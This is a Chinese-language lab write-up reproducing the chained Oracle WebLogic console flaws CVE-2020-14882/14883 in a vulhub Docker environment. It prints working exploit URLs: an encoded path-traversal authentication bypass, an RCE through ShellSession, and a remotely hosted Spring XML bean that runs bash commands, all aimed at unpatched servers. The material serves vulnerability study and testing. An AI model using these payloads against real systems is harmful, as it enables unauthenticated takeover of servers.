0x00 漏洞原理
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机
0x01 影响版本
Weblogic : 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、 14.1.1.0.0
0x02 环境搭建
cd vulhub/weblogic/CVE-2020-14882/
docker-compose up -d
0x03 漏洞复现
环境启动成功后访问 http://your-ip:7001/console查看管理员控制台登录页面
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal #使用此URL绕过Console组件的身份验证
此时访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码此时,结合 CVE-2020-14882漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码
CVE-2020-14882有两种利用方式,利用方式一
com.tangosol.coherence.mvel2.sh.ShellSession,
利用方式二 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
注:第一种利用方式适合在weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class 'com.tangosol.coherence.mvel2.sh.ShellSession' ,第二种方式使用于所有版本
第一种利用方式:
访问:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
docker-compose exec weblogic bash #进入容器内/tmp/success1已成功创建
用工具检测一遍,成功检测到CVE-2020-14882漏洞
成功执行命令
第二种利用方式:
利用FileSystemXmlApplicationContext
,需要制作一个精心制作的 XML 文件并将其提供到 Weblogic 可以访问的服务器上,例如http://example.com/rce.xml
,POC如下
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
python -m SimpleHTTPServer 80 #在另一台服务器上启个临时web服务器
然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
成功访问到rce.xml,并执行了rce.xml文件内的恶意代码,创建success2
参考链接
https://vulhub.org/#/environments/weblogic/CVE-2020-14882/
https://blog.csdn.net/weixin_43571641/article/details/110508007